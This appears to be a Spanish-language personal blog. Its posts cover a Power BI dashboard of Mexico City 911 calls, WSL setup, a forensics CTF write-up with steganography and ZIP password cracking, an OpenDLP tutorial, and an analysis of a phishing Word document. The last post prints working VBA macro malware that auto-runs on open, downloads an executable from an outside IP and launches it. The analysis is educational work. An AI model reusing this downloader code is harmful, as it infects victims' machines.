911 CDMX – Un borrador

Entre las cosas que he me ha tocado interactuar últimamente con la plataforma de Microsoft esta la parte de Power BI. Cuando trabajas con datos y no tienes la gran experiencia con ellos una de las mejores cosas creo que es conocer datos que sean interesantes con los cuales interactuar, muchos de los ejemplos existentes son de ventas o datos que pueden no ser familiares y no enfocan a practicar pero creo que puede ser más sustancial trabajar con datos del entorno en que uno se desenvuelve.

En las rede sociales existe una gran cantidad de información y educación, entre tantos temas me encontré una cuenta de Twitter la cual es la siguiente: https://twitter.com/socialtic

Tuvieron una conferencia mediante Periscope acerca de los datos del 911 de la Ciudad de México y es sumamente interesante, aquí el enlace directo a esta conferencia: https://twitter.com/socialtic/status/1368275302040801280

Me parecio sumamente interesante practicar Power BI con esos datos, se explica mucho en el video y sobre todo la parte de los datos, consideraciones a tener en cuenta y la parte de R. Bueno yo no se R, pero sí conozco un poco de Power BI y vamos a tomar un poco de practica con el set de datos para hacer algunas gráficas y sobre todo mapas.

Con respecto a los datos la base de información es sustancialmente grande y se conforma de los años 2019 y 2020.

El enlace al reporte es público y esta en el siguiente enlace: Dashboard en Power BI.

De los datos interesantes que podemos obtener es el número de incidentes por alcaldías, el número de incidentes por año así como por meses y también un mapa de la Ciudad de México.

Uno de las cosas más interesantes de la base de datos es que tiene latitud y longitud, y podemos hacer mapas y es interesante dado que PowerBI usa los mapas de Bing y podemos aprovechar esta integración para tener mapas muy acertados.

Adecuando un poco la configuración de los datos con respecto a los datos de referencia geográfica podemos hacer mapas donde podemos visualizar que la mayor cantidad de llamadas vienen de la alcaldía de Iztapalapa y que la alcaldía donde hay menos llamadas es Milpa Alta.

Tiene mucha información el set de datos y puede ser obtenido desde aquí: Llamadas número de atención a emergencias 911 – Conjunto de datos – Portal de Datos Abiertos de la CDMX

Ubuntu – The Windows Subsystem for Linux optional component is not enabled.

Are necessary a few previous steps.

https://docs.microsoft.com/es-mx/windows/wsl/install-win10

dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart

dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

Windows Subsystem for Linux Update Setup

Finish Setup

Another step in PowerShell

Installation sucesfully.

Ready for Ubuntu.

Linux rules.

Actualización 2021

Después de abandonar bastante tiempo este efímero blog y pensar varios días si renovaba el dominio he decido conservarlo y estoy realizando ciertas actualizaciones de las cuales la principal ha sido dejar de pagar un viejo hosting Linux y pasarme a WordPress.com ya que la versión de PHP en el hosting ya esta obsoleto y con un calculo rápido de costos sale un poco más económico estar en el hosting de WordPress.

Como propósito de 2021 espero tener un ritmo más constante en publicar. Por lo pronto estoy revisando algunos temas de formatos y escritos que deje pendientes que me servirán de entretenimiento en este año así que algunos vínculos o imágenes pueden tener perdido su recurso mientras arreglo el formato.

Una rubia, un archivo oculto y unos autos robados.

Como parte de otra tarea asignada en la escuela me tope con que nos dejaron un pequeño reto forense, buscando un poco es un reto que había sido publicado el 27 de agosto de 2013 en la pagina: http://www.hackplayers.com/2013/08/reto-18-un-pendrive-y-el-caso-de-los.html y su respectiva solución de igual manera se puede encontrar en el mismo sitio: http://www.hackplayers.com/2013/08/solucion-al-reto-18-un-pendrive-y-el.html.

Esta es la forma en que fue realizado este reto a manera de titulo personal y para conocimiento de los compañeros de la clase. Saludos a los miembros de la pagina Hack Players.

Agregar la evidencia

De manera inicial tenemos el archivo imagen coches.E01, para poder abrirlo utilizaremos un software gratis (no libre) para estos casos de la informática forense llamado FTK Imager que lo podemos obtener desde el siguiente enlace: http://accessdata.com/product-download/digital-forensics.

Ya con el programa instalado lo ejecutamos y abrimos el archivo de evidencia.

Coches-Analisis-1

Agregamos el archivo de la imagen como fuente de la evidencia.

Coches-Analisis-2

Seleccionamos el archivo.

Coches-Analisis-4

Importamos el archivo.

Coches-Analisis-5

Imagen de evidencia agregada.

Coches-Analisis-7

Es la imagen de una memoria USB, los archivos de interés son la imagen de una rubia y tres capturas de red.

Coches-Analisis-8

Vamos a validar la imagen de la chica rubia.

Coches-Analisis-9

Visualizamos la imagen en formato hexadecimal.

Coches-Analisis-10

Análisis de la imagen.

La imagen inicia con los siguientes datos hexadecimales: 89504E470D0A1A0A. Esto coincide con que es una imagen PNG si buscamos estos datos en la pagina de: http://www.garykessler.net/library/file_sigs.html.

Hay algo llamado autopsy.jpeg dentro del código hexadecimal y esto es lo raro, un poco arriba de este nombre de autopsy viene el final de la imagen de la rubia que finaliza con estos datos hexadecimales: 49454E44AE426082 que es el final de una imagen PNG.

Por lo tanto ¿que es todo ese código hexadecimal que sigue? el cual inicia con los siguientes datos: 504B0304 (PK..), si buscamos otra vez en los “magic numbers” vemos que es un archivo del tipo ZIP y lo corroboramos con el final del archivo que coincide con los datos de un archivo de este tipo, los datos al final del archivo son: 504B0506 (PK..)

Entonces hay un archivo Zip escondiéndose en la rubia.

Vamos a ver un poco más de cerca, si detectamos con el comando file vemos que nos dice que es una imagen pero ya vimos que no es así.

[gabriel@daneel MISTI-FI]$ file rubiaca.png 
rubiaca.png: PNG image data, 240 x 400, 8-bit/color RGB, non-interlaced

Si intentamos copiar el archivo y le ponemos la extensión zip.

[gabriel@daneel MISTI-FI]$ cp rubiaca.png rubiaca.zip

Lo copiamos con cp para no borrar el archivo original.

Vamos a ver si detecta el archivo zip tratando de descomprimir la imagen.

[gabriel@daneel MISTI-FI]$ unzip -v rubiaca.zip
Archive:  rubiaca.zip
warning [rubiaca.zip]:  75877 extra bytes at beginning or within zipfile
  (attempting to process anyway)
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
   27537  Unk:099   27330   1% 08-13-2013 02:52 00000000  autopsy.jpeg
--------          -------  ---                            -------
   27537            27330   1%                            1 file

No lo hace pero menciona que tiene 75877 bytes extras al inicio del archivo, si, la rubia son esos bytes extras y tiene comprimida una imagen llamada autopsy.jpeg.

Si no fuera un archivo zip nos hubiera mandado algo así de ser una imagen normal.

[gabriel@daneel 041614536]$ unzip -v img_20160523_211144997.jpg 
Archive:  img_20160523_211144997.jpg
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of img_20160523_211144997.jpg or
        img_20160523_211144997.jpg.zip, and cannot find img_20160523_211144997.jpg.ZIP, period.

Bueno entonces vamos a ver como sacar ese archivo comprimido. Si lo queremos extraer ya con una herramienta gráfica lo vemos más claro, hay una imagen ahí dentro.

Ark-1

Y al querer extraer el archivo vemos que tiene contraseña.

Ark-2

Ok, o intentamos adivinar u obtener mediante un ataque de diccionario o fuerza bruta la contraseña o vamos a ver qué más hay en la memoria para detectar esa contraseña.

Los otros archivos relevantes son tres capturas de red.

Capturas de red

Vamos a ver la primera captura.

Es poca información pero lo que se ve más que nada es tráfico web, un poco de google, algo de búsqueda con las palabras coches de lujo y son imágenes principalmente.

Wireshark-1-Coches

Vamos a exportarlas.

Wireshark-2-Coches

Efectivamente son imágenes de un sitio web de coches de lujo.

Wireshark-3-Coches

Ahora vamos con la segunda captura.

Aquí no hay imágenes más bien en una captura de tráfico de correo web.

Wireshark-4-Coches

Vamos a ver un poco más de cerca el flujo de la conversación.

Wireshark-5-Coches

Es la más interesante de las tres capturas al parecer.

Finalmente vamos con la tercera captura.

También es tráfico web, búsqueda de google podría decir que es.

Wireshark-6-Coches

De igual manera son imágenes de un sitio web de noticias varias.

Wireshark-7-Coches

Regresamos con la segunda captura y esos datos del correo electrónico.

220 mx.google.com ESMTP fc9si125401wib.43 - gsmtp
EHLO thosi
250-mx.google.com at your service, [79.109.135.8]
250-SIZE 35882577
250-8BITMIME
250-STARTTLS
250-ENHANCEDSTATUSCODES
250 CHUNKING
MAIL FROM: SIZE=411
250 2.1.0 OK fc9si125401wib.43 - gsmtp
RCPT TO:
250 2.1.5 OK fc9si125401wib.43 - gsmtp
DATA
354  Go ahead fc9si125401wib.43 - gsmtp
Received: from localhost (localhost [IPv6:::1])
.by thosi (Postfix) with SMTP id A6D7C1860221
.for ; Tue, 13 Aug 2013 02:08:52 +0200 (CEST)
subject: COCHES
Message-Id: 
Date: Tue, 13 Aug 2013 02:08:52 +0200 (CEST)
From: YURI@gmail.com

Que pasa tio?
Te mando nuestro peque..o secreto "KNIFELONG1234"
bye
ya me pondre en contacto

un saludo yuri
.
250 2.0.0 OK 1376352663 fc9si125401wib.43 - gsmtp
QUIT
221 2.0.0 closing connection fc9si125401wib.43 - gsmtp

Un pequeño secreto, al menos tenemos una palabra, volvemos a colocarla en el archivo zip para ver si es la contraseña y no parece ser la contraseña pero debe ser uno de esos caracteres.

De entrada no funciona de la manera fácil con solo crear una copia y ponerle como archivo Zip, y colocar la contraseña que debe ser esa pero ahorita vemos esa parte, y al no ser un archivo Zip como tal completo porque tiene más datos de los que debería ni siquiera podemos cargar que tipo de cifrado tiene el archivo.

[gabriel@daneel run]$ ./john --incremental /home/gabriel/Documents/MISTI-FI/rubiaca.zip
No password hashes loaded (see FAQ)

Necesitamos quitarle esos 75877 bytes al inicio que son la rubia y quedarnos con el puro archivo Zip sin alterar la estructura del archivo binario, y es ahí donde está el truco.

Sabemos la cantidad de bytes por que el comando unzip nos ayudó a averiguarlo.

00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 f0 00 00 01 90  08 02 00 00 00 1f b4 7a  |...............z|
00000020  2b 00 00 00 09 70 48 59  73 00 00 0b 13 00 00 0b  |+....pHYs.......|
00000030  13 01 00 9a 9c 18 00 00  00 07 74 49 4d 45 07 dd  |..........tIME..|
00000040  08 0d 01 0e 1f b2 27 7c  01 00 00 00 41 74 45 58  |......'|....AtEX|
00000050  74 43 6f 6d 6d 65 6e 74  00 43 52 45 41 54 4f 52  |tComment.CREATOR|
00000060  3a 20 67 64 2d 6a 70 65  67 20 76 31 2e 30 20 28  |: gd-jpeg v1.0 (|
00000070  75 73 69 6e 67 20 49 4a  47 20 4a 50 45 47 20 76  |using IJG JPEG v|
00000080  36 32 29 2c 20 71 75 61  6c 69 74 79 20 3d 20 39  |62), quality = 9|
00000090  30 0a b0 45 58 93 00 00  20 00 49 44 41 54 78 da  |0..EX... .IDATx.|

Esos son los primeros datos del archivo y necesitamos quitar todos esos datos sin alterar la estructura del archivo binario.

Este es el final de esos datos extras de la rubia.

000127d0  30 9a 01 05 20 70 e4 00  e2 fd fb f7 bf fc f2 cb  |0... p..........|
000127e0  10 c2 7a 0d 1d 57 9d 37  f6 ae aa 9c 08 09 51 a0  |..z..W.7......Q.|
000127f0  e8 98 e0 6c b7 63 28 04  be 3b 33 19 59 5a 2c 82  |...l.c(..;3.YZ,.|
00012800  13 a4 21 22 da cb a1 d2  2b 31 c6 84 e3 43 54 85  |..!"....+1...CT.|
00012810  4c 81 0d fb d1 92 01 ee  ce fe 73 16 27 c1 8e d7  |L.........s.'...|
00012820  e7 0e 4f 69 5c 65 d8 23  31 b4 c4 87 3f de dd ce  |..Oie.#1...?...|
00012830  1c cb 3c d2 72 aa 5c 45  20 6c 9f 90 e2 61 a6 7e  |..<.r.E l...a.~|
00012840  01 82 8c 39 78 ed 51 9c  88 24 01 d6 b7 1b 52 ff  |...9x.Q..$....R.|
00012850  03 6b 51 fd ae 53 9d bf  97 00 00 00 00 49 45 4e  |.kQ..S.......IEN|
00012860  44 ae 42 60 82 50 4b 03  04 33 03 01 00 63 00 8a  |D.B`.PK..3...c..|

Vamos a ayudarnos con el comando dd para quitar estos bytes del inicio y generar un nuevo archivo Zip sin estos datos extra.

[gabriel@daneel MISTI-FI]$ dd bs=1 skip=75877 if=rubiaca.png of=rubiaca.zip
27486+0 records in
27486+0 records out
27486 bytes (27 kB) copied, 0.0346739 s, 793 kB/s

Volvemos a verificar con unzip y vemos que ya no marca en el archivo nuevo esos bytes extra.

[gabriel@daneel MISTI-FI]$ unzip -v rubiaca.zip 
Archive:  rubiaca.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
   27537  Unk:099   27330   1% 08-13-2013 02:52 00000000  autopsy.jpeg
--------          -------  ---                            -------
   27537            27330   1%                            1 file

Ahora si volvemos con la parte de la contraseña.

Si intentamos con John The Ripper, ya nos reconoce como válido el archivo y puede saber el cifrado que tiene el archivo.

[gabriel@daneel run]$ ./john --incremental /home/gabriel/Documents/MISTI-FI/rubiaca.john 
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])                                                                                                                                      

Vamos a realizar un pequeño diccionario con las combinaciones que encontramos en la captura de red del correo.

K
KN
KNI
KNIF
KNIFE
KNIFEL
KNIFELO
KNIFELON
KNIFELONG
KNIFELONG1
KNIFELONG12
KNIFELONG123
KNIFELONG1234

La manera fácil, si no es una de estas va a estar un tanto más complicado.

[gabriel@daneel run]$ ./john --wordlist=/home/gabriel/Documents/MISTI-FI/Clave-Rubia /home/gabriel/Documents/MISTI-FI/rubiaca.john 
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
KNIFELONG        (rubiaca.zip)
1g 0:00:00:00 DONE (2016-06-03 08:37) 9.090g/s 118.1p/s 118.1c/s 118.1C/s K..KNIFELONG1234
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Entonces la contraseña es: KNIFELONG

Ahora sí vamos a abrir ese archivo.

[gabriel@daneel MISTI-FI]$ unzip -P KNIFELONG rubiaca.zip 
Archive:  rubiaca.zip
   skipping: autopsy.jpeg            need PK compat. v5.1 (can do v4.6)

Parece que no lo descomprime porque el archivo fue creado con otra versión de Zip, más concreto con PKZip, tambien lo probe con el formato Zip de Windows y no es posible.

Vamos a intentarlo con 7z mejor.

[gabriel@daneel MISTI-FI]$ 7za e -pKNIFELONG rubiaca.zip 

7-Zip (a) [64] 15.09 beta : Copyright (c) 1999-2015 Igor Pavlov : 2015-10-16
p7zip Version 15.09 beta (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-3540M CPU @ 3.00GHz (306A9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 27486 bytes (27 KiB)

Extracting archive: rubiaca.zip
--         
Path = rubiaca.zip
Type = zip
Physical Size = 27486

Everything is Ok

Size:       27537
Compressed: 27486

Listo lo hemos logrado descomprimir, es una imagen JPEG llamada autopsy.

Imagen-Coches-Autopsy-1

Unos coches y varias piezas de coches.

Los metadatos arrojan un poco más acerca de la imagen, como que fue tomada en agosto del 2013, que es de un tamaño de 400 x 274 píxeles e incluso datos que parecen ser de coordenadas geográficas.

Imagen-Coches-Autopsy-2

Conclusiones

Lo más complicado fue en mi caso la forma de quitarle los datos de la imagen al archivo, habíamos tomado en otra clase un poco de conocimiento acerca de editores hexadecimales y fue por eso que me dirigí en esa forma para quitar el extra de datos y la referencia de los números mágicos fue lo más importante para identificar que había algo más que una rubia guapa. El dato fue encontrar una manera rápida en Linux de hacer lo de estos datos y ya que el comando Zip es concreto en mencionar los datos extra se tiene el valor importante, un dato más o menos borrado y se pierde la integridad del archivo.

Referencias

http://birdchan.com/home/2013/12/30/need-pk-compat-v4-5-can-do-v2-1/
http://birdchan.com/home/2013/12/30/need-pk-compat-v4-5-can-do-v2-1/
http://unix.stackexchange.com/questions/6852/best-way-to-remove-bytes-from-the-start-of-a-file
http://vi.stackexchange.com/questions/343/how-to-edit-binary-files-with-vim
http://superuser.com/questions/380717/how-to-output-file-from-the-specified-offset-but-not-dd-bs-1-skip-n
http://www.garykessler.net/library/file_sigs.html

Un acercamiento a OpenDLP – I

Actualización – enero 2021: Este post es de hace unos años y siempre quedo en parte 1. Después de estar revisando unos documentos y comentarios preguntando acerca de la continuación, me dedique a buscar el documento original que entregue como tarea en el IPN, en una materia llamada: Seguridad en Sistemas Operativos.

Edite algunas partes del documento por tener referencias a dominios y direcciones IP de mi anterior trabajo y ya que no he podido encontrar el documento fuente y solo el PDF he editado ciertas partes de las imágenes pero sin afectar nada del contenido.

Los temas que me faltaron están en las páginas 26 y 33 del siguiente PDF: MISTI_IPN_Data_Loss_Prevention_OpenDLP_170516

  1. Instalar el agente de OpenDLP en un equipo en dominio, página 26.
  2. Analizar un recurso compartido SMB, página 33.

Gracias a los que se han tomado el tiempo de consultar este articulo del blog y han pedido el documento.

Fin de actualización.

Como parte de una tarea en la escuela me tope con OpenDLP que es una herramienta bastante potente en las cuestiones de prevención de perdida de datos, comparada con otras herramientas de software propietario OpenDLP destaca y aquí presentare brevemente desde su instalación hasta un par de ejemplos de lo potente que puede ser esta herramienta. Tiene la estructura del trabajo que presente y poco a poco lo iremos ampliando.

Se utilizo como marco de referencia principalmente estos dos artículos de los siguientes blogs:

Fuente del contenido: Security Art Work
http://www.securityartwork.es/2015/07/10/opendlp-para-pentesters/
Autor: Roberto Amado.

Fuente del contenido: INSEGUROS, seguridad y sistemas.
http://kinomakino.blogspot.mx/2015/03/opendlp-data-loss-prevention-open.html
Autor: Kino Makino.

Objetivo.

Realizar una prueba donde mediante un sistema de DLP se analice cierta información de archivos donde se busque mediante expresiones regulares información sensible como pueden ser datos bancarios o información clave de algún sistema de información.

Introducción.

¿Que es DLP?, la traducción de “Data Loss Prevention” es prevención de perdida de datos pero que datos queremos evitar perder y de que forma podemos detectar que los estamos perdiendo. Tres vectores principalmente se manejan para este tema y son: analizar, proteger e informar. Todo esto se conforma en estrategias en reglas de negocio catalogando la información para que se pueda asegurar en la medida de lo posible que los usuarios en un entorno corporativo o gubernamental puedan extraer y sobre todo enviar información sensible o critica fuera de la red a la que pertenece dicha información.

Normalmente se controla esto con análisis de contenido reportando incidencias de patrones de cierta información reportando al administrador posibles fugas de información o evitando que información que ha sido clasificada no pueda salir de la red gracias a que los sistemas que pueden realizar esto como podrían ser recursos compartidos, dispositivos extraíbles de almacenamiento y correo electrónico están configurados apropiadamente para bloquear cualquier tipo de información que pueda ser catalogada como sensible.

La cuestión de los datos de privacidad que se esta endureciendo cada vez más por cuestiones de normas y leyes, así como del incremento en los ataques informáticos hace que la forma de detectar los datos sensibles en una organización sea prioritario y ya que mucho del robo de información viene del personal interno hace que este tipo de herramientas tengan más énfasis en la red de una organización ya sea gubernamental o privada.

Normalmente los productos existentes en el mercado hacen énfasis en analizar el contenido de los archivos y es aquí donde por ejemplo desde el punto de vista bancario se hace mención a resguardar que la información de tarjetas o cuentas bancarias no se estén exponiendo o resguardando ya que leyes federales y normas bancarias internacionales prohíben que esta información este de manera sin cifrar o expuesta a usuarios que no intervienen en procesos de cobro por ejemplo.

Desarrollo.

OpenDLP es una suite de DLP con una interfaz web centralizada para gestionar los escáneres de uno o más sistemas de archivos de equipos Windows mediante un agente de red, escáneres de base de datos sin agente y también analizar sin agente sistemas de archivos de Windows/UNIX que identifican datos confidenciales e inactivos.

Instalar OpenDLP

Importar la máquina virtual

Descargamos la OVA de OpenDLP desde la siguiente dirección: https://code.google.com/archive/p/opendlp/, son siete archivos compresos en formato 7z que tenemos que descargar, descomprimimos el primero y se juntaran los siete fragmentos de la imagen para obtener el archivo para importar la máquina virtual.

Iniciamos la aplicación de VirtualBox para trabajar con la máquina virtual como se muestra en la imagen.

OpenDLP-01
OpenDLP-01

En el menú archivo seleccionamos la opción de importar Appliance.

OpenDLP-02
OpenDLP-02

Buscamos la imagen que descargamos en nuestro sistema de archivos.

OpenDLP-03
OpenDLP-03

Seleccionamos siguiente una vez que tiene ya la ruta de donde esta la imagen.

OpenDLP-04
OpenDLP-04

La configuración de la máquina virtual que se importa la dejamos así como esta.

OpenDLP-05
OpenDLP-05

Se empieza a importar la máquina virtual.

OpenDLP-06
OpenDLP-06

Máquina virtual importada y lista para iniciarse.

OpenDLP-07
OpenDLP-07

Podemos tener uno o dos errores al iniciar la máquina virtual. Uno de estos errores puede ser que el adaptador de red no coincida con el de nuestro equipo.

OpenDLP-08
OpenDLP-08

Y por ende la máquina no iniciaría y se cerraría.

OpenDLP-09
OpenDLP-09

También nos puede marcar error en la cuestión de que los puertos USB no estén implementados.

OpenDLP-10
OpenDLP-10

Para la cuestión del dispositivo USB debemos tener instalado el VirtualBox Extension Pack para solucionar este error, se puede descargar desde la propia pagina de VirtualBox.

OpenDLP-11
OpenDLP-11

Con respecto a la interfaz de red solamente debemos configurar apropiadamente el adaptador de red de la máquina virtual para que seleccione el adaptador físico adecuado de nuestro equipo host.

OpenDLP-12
OpenDLP-12

En la parte de configuración de la máquina virtual en la parte de red seleccionamos el adaptador y también la opción de Bridged Adapter para que funcione como un dispositivo adicional en la red lan y no dependa de la red de nuestro host.

OpenDLP-13
OpenDLP-13

Una vez realizado esto la máquina virtual iniciara correctamente.

OpenDLP-14
OpenDLP-14

Vemos que la máquina OpenDLP tiene el estado de running.

OpenDLP-15
OpenDLP-15

Configurar la máquina virtual

Una vez que la máquina virtual ha iniciado ingresamos con el usuario y contraseña predeterminado:

username:opendlp
password:opendlp

Se nos muestran los datos preliminares de la máquina virtual y la dirección IP que tomo mediante DHCP (en este caso).

OpenDLP-17
OpenDLP-17

Como primer paso vamos a cambiar la contraseña del usuario.

OpenDLP-18
OpenDLP-18

Realizado el paso anterior ahora ingresamos mediante SSH y empezaremos a realizar la ejecución de los pasos siguientes, a partir de ahora vamos a realizar todo esto desde el cliente de SSH.

OpenDLP-16
OpenDLP-16

Vamos a copiar el archivo llamado sc.exe a un directorio en la máquina virtual de OpenDLP, que por motivos de licenciamiento no puede ser incluido y vamos a obtenerlo desde un equipo con Windows XP.

OpenDLP-19
OpenDLP-19

Ya que obtuvimos el archivo sc.exe que esta dentro de C:textbackslash Windowstextbackslash System32, lo tenemos que copiar al equipo de OpenDLP. El archivo sc.exe lo copiamos a la máquina virtual: $ scp sc.exe opendlp@192.168.11.86:/home/opendlp

Y en la máquina virtual este mismo archivo lo movemos al directorio /var/www/OpenDLP/bin/.

opendlp@opendlp:~$ sudo mv sc.exe /var/www/OpenDLP/bin/

Configurar el navegador web
Ahora necesitamos importar el archivo “client.p12” en nuestro navegador web, este archivo viene en el archivo que desempaquetamos previamente donde viene la máquina virtual por lo que iniciamos el navegador web Iceweasel.

Iceweasel-OpenDLP-01
Iceweasel-OpenDLP-01

En la esquina superior derecha seleccionamos la parte de opciones del navegador.

Iceweasel-OpenDLP-02
Iceweasel-OpenDLP-02

La parte general de las preferencias.

Iceweasel-OpenDLP-03
Iceweasel-OpenDLP-03

Seleccionamos la parte de preferencias avanzadas.

Iceweasel-OpenDLP-04
Iceweasel-OpenDLP-04

En la sección de preferencias avanzadas seleccionamos la pestaña de certificados y damos clic en el botón “”View Certificates“.

Iceweasel-OpenDLP-05
Iceweasel-OpenDLP-05

Se nos muestra una ventana que es el administrador de certificados y vamos a seleccionar la pestaña “Your Certificates“.

Iceweasel-OpenDLP-06
Iceweasel-OpenDLP-06

En esta pestaña seleccionamos el botón “Import“ para importar el certificado de OpenDLP llamado “client.p12“.

Iceweasel-OpenDLP-07
Iceweasel-OpenDLP-07

Este archivo viene compreso junto con la máquina virtual que descargamos por lo cual lo buscamos en nuestro sistema de archivos.

Iceweasel-OpenDLP-08
Iceweasel-OpenDLP-08

No tiene contraseña así que solo damos clic en Ok.

Iceweasel-OpenDLP-09
Iceweasel-OpenDLP-09

Se ha importado correctamente el certificado.

Iceweasel-OpenDLP-10
Iceweasel-OpenDLP-10

Ya importado el certificado se nos muestra en la parte de nuestros certificados del navegador web.

Iceweasel-OpenDLP-11
Iceweasel-OpenDLP-11

Al conectarnos por primera vez al servicio web del servicio de OpenDLP se nos presentara una ventana de dialogo donde el servicio solicita un método de autenticación mediante un certificado escogemos el certificado instalado y seleccionamos que recuerde esta decisión.

Iceweasel-OpenDLP-12
Iceweasel-OpenDLP-12

Al no ser un certificado emitido por una entidad autorizada el navegador nos mostrara una advertencia con respecto al sitio donde queremos realizar la conexión mediante el certificado.

Iceweasel-OpenDLP-13
Iceweasel-OpenDLP-13

Tenemos que agregar la excepción.

Iceweasel-OpenDLP-14
Iceweasel-OpenDLP-14

Confirmar la excepción de seguridad.

Iceweasel-OpenDLP-15
Iceweasel-OpenDLP-15

Al conectarnos nos pide un usuario y contraseña que de manera predeterminada son los siguientes datos: username: textbf{dlpuser} y password: textbf{OpenDLP}.

Iceweasel-OpenDLP-16
Iceweasel-OpenDLP-16

La pagina principal de OpenDLP.

Iceweasel-OpenDLP-17
Iceweasel-OpenDLP-17

Después de tantas imágenes vamos a generar algo más practico en la parte 2.

Bichitos de macros – I.

Como parte de una tarea en la escuela me dio curiosidad que es lo que sucedía con tanto correo que últimamente abunda en los buzones de los usuarios, que si correos de CFE, del SAT, de Aeroméxico ahora el ultimo que me ha llegado es uno haciendo alusión a Banamex. Por eso aquí relato el breve documento que redacte para mi tarea:

Mediante un ejemplo sencillo veremos como actúa un archivo malicioso que llega mediante correo electrónico y aprovechando la curiosidad del usuario al ejecutar el archivo este descarga un archivo malicioso.

En el ámbito informático el phishing que es la práctica de hacerse pasar por otra persona o entidad para obtener datos o causar algún daño está siendo aprovechada mediante el uso de herramientas tan tradicionales como el correo electrónico, sin embargo ya no se manda spam para ver si alguno de ellos lograba dar en el blanco, ahora ya el phishing es dirigido, mas sutil, mas concreto usando ingeniería social empieza a cambiar la forma en que se mandan estos correos por la forma en que los leemos. De miles de mensajes de spam es fácil descartar a la mayoría pero algo ya más dirigido, en concreto, usando un poco más de táctica puede ser que no sean tantos pero con más posibilidades de éxito.

Por ejemplo un correo proveniente del SAT en la cual hace mención a que tenemos problemas con nuestra situación fiscal, y cómo tener problemas con la autoridad fiscal de la nación no es poca cosa este correo aprovecha esa curiosidad de las personas por averiguar qué tan cierto es esto y es donde caen, son correos que forman parte de una campaña dirigida a los usuarios mexicanos ya que toman el nombre de empresas netamente con base nacional o instituciones gubernamentales como lo es el SAT, la CFE o Aeroméxico.

El código malicioso tiene tiempo rondando el área de la informática, si programas algo para realizar una tarea por qué no programar para realizar un tarea dañina, al fin y al cabo son programas. Hay tantos tipos de códigos maliciosos que se han creado múltiples categorías en los últimos años, se organizan en distintos rubros y también lo engloban para abarcar la mayoría de las miles de amenazas que circulan en la red, aunado a esto también las múltiples compañías que luchan contra estas mismas amenazas sacando productos, novedades de un lado y del otro.

Virus, gusanos, troyanos y ahora los famosos ransomware solo incrementan la familia de la ya larga historia de código malicioso que circula por la red, se pueden programar líneas de código en rutinas ya establecidas para aprovecharnos de algo, una base de datos, un sistema de almacenamiento de archivos, cualquier cosa está al alcance de la intrusión, modificación o destrucción mediante un código que hace su trabajo para dañar algo.

Vamos a ver un ejemplo de estos correos electrónicos que están surcando el internet.

Correo electrónico sospechoso.
Debug-SAT-2

Descargamos el archivo y lo guardamos en nuestro equipo.
Documento-01

Doble clic para ejecutar y sorpresa nos pide que habilitemos los macros del documento.
Documento-02

Incluso el documento trae todo un instructivo para hacer esto en diferentes versiones de Office y Windows.
Documento-03

Muy bien explicado.
Documento-04

Instrucciones.
Documento-05

Más instrucciones.
Documento-06

Aún mas instrucciones.
Documento-07

Seguimos con las instrucciones.
Documento-08

Si para este punto tomamos nota de las instrucciones para realizar lo que dice el documento es que de verdad nuestra curiosidad o ignorancia en temas de malware es fuerte, en este caso es curiosidad por ámbitos educativos.
Documento-09

Finalmente habilitamos los macros y tenemos una ventana de error.
Documento-10

Y se cierra el documento.
Documento-11

Pues nos mostró un error y ya, no paso nada ¿o sí? Vamos a verificar un poco el código que trae en la macro.

Debug-SAT-1

Para empezar esta algo rebuscado para ser simplemente un documento de Word, y logramos ver que hay hace referencia a una dirección IP (172.98.73.57) y a un archivo llamado logo.gif, este inofensivo archivo de Word está descargando otro archivo sin que se nos notifique esto.

El código de la macro:

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal oeF As Long, ByVal poDsNkd As Long, ByVal BupvpYgyL As Long, ByVal BzoLj As Long, ByVal LlFlP As Long, ByVal JoW As Long) As Long
Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal HBMu As Long, ByVal ir As String, ByVal DCWF As String, ByVal PeOhklz As Long, ByVal Jnofqrtmg As Long) As Long
Sub Auto_Open()
Call mmzWhqeSzl
End Sub
Sub AutoOpen()
Call mmzWhqeSzl
End Sub
Sub Workbook_Open()
Call mmzWhqeSzl
End Sub
Public Function mmzWhqeSzl() As Integer
'other publication.
Call jHfMx("http://172.98.73.57/~linuxcloud32/w/logo.gif", Environ("APPData") & "WORD.exe")
'Oswald allegedly meets Shaw, Ferrie and other operatives of the FBI and
'1968 - Assassination of Martin Luther King, Jr., in Memphis, Tennessee,
End Function
Private Function jHfMx(tJBtHI As String, ZtcWkDhUT As String) As String
'in-law, « Gary Kirstein, allegedly an undercover E. Howard Hunt; Thornley
'survivors and witnesses before National Transportation Safety Board (NTSB)
URLDownloadToFileA 0&, tJBtHI, ZtcWkDhUT, 0&, 0&
'Cancer Institute, and the AIDS epidemic.
'76 Marc Lutter: Sie kontrollieren alles!
'with altimeter and air data computer, malfunctioning of the runway visual
ShellExecuteW 0&, StrPtr("Open"), StrPtr(ZtcWkDhUT), StrPtr(""), StrPtr(""), 1
'that should be done is to close down all laboratories in this country that are
